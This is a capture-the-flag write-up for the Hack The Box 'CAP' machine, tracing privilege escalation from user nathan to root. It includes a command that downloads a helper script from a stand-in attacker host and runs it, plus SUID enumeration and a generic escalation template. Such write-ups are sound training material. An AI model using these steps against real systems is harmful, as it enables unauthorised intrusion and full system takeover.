Hack The Box - CAP root flag

🎯 Objective

Gain root on the target after obtaining user nathan, documenting the exact steps, commands, and evidence.

🧭 Context

• Initial foothold: Valid SSH creds for nathan.
• First attempt: Upload via FTP (failed).
• Final approach: SSH as nathan → transfer privesc helper → enumerate SUID → exploit → root.

🔐 Step 0 — Evidence of SSH Access

Logged in with the same known credentials used earlier for nathan.

SSH (example):

ssh nathan@<target_ip>
# password: <known from earlier stage>

📥 Step 1 — Transfer a PrivEsc Helper

Spun up a quick HTTP server on the attacker host, then pulled the helper onto the target.

On attacker (host):

# In the directory containing your helper script (e.g., privesc.sh / static binary / linpeas)
python3 -m http.server 8000

On target (as nathan):

cd /tmp
curl -O http://<attacker_ip>:8000/privesc.sh
chmod +x privesc.sh
./privesc.sh

You can replace curl with wget if preferred.

🔎 Step 2 — Enumerate SUID Binaries

SUID discovery revealed a binary that could be abused for privilege escalation.

Typical SUID sweep:

# As nathan on the target
find / -perm -4000 -type f 2>/dev/null | sort
# or for both SUID/SGID:
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null | sort

Cross-check any interesting hits against GTFOBins (https://gtfobins.github.io/) to see safe/known techniques for escalation.

🚀 Step 3 — Exploit the SUID Binary

Using the discovered SUID binary, executed a known escalation path to spawn a root shell.

Example SUID abuse pattern (generic):

# Example flow — exact command depends on the binary found
# Replace <suid_binary> and arguments with the one from the enumeration step
/absolute/path/to/<suid_binary> <args_to_trigger_priv_escalation>
# or leverage GTFOBins technique:
# e.g., sudo-like behavior, or LD_* tricks if applicable, or built-in spawns

Validate root:

id
whoami
# uid=0(root) gid=0(root) ...

🧾 Notes & Tips

• If FTP uploads fail, SSH file transfer (SCP/SFTP) or HTTP server + curl/wget is often faster:
  bash Copy

  # From attacker to target (SCP):
  scp privesc.sh nathan@<target_ip>:/tmp/

• Keep your artifacts in /tmp and clean up after success:
  bash Copy

  rm -f /tmp/privesc.sh

• Always confirm the SUID path is absolute when running it; relative paths can fail due to PATH constraints.

✅ Outcome

• Root obtained from user nathan by:
  1. SSH access
  2. Quick transfer of helper
  3. SUID enumeration and exploitation
• Minimal friction, clear audit trail, and reproducible steps.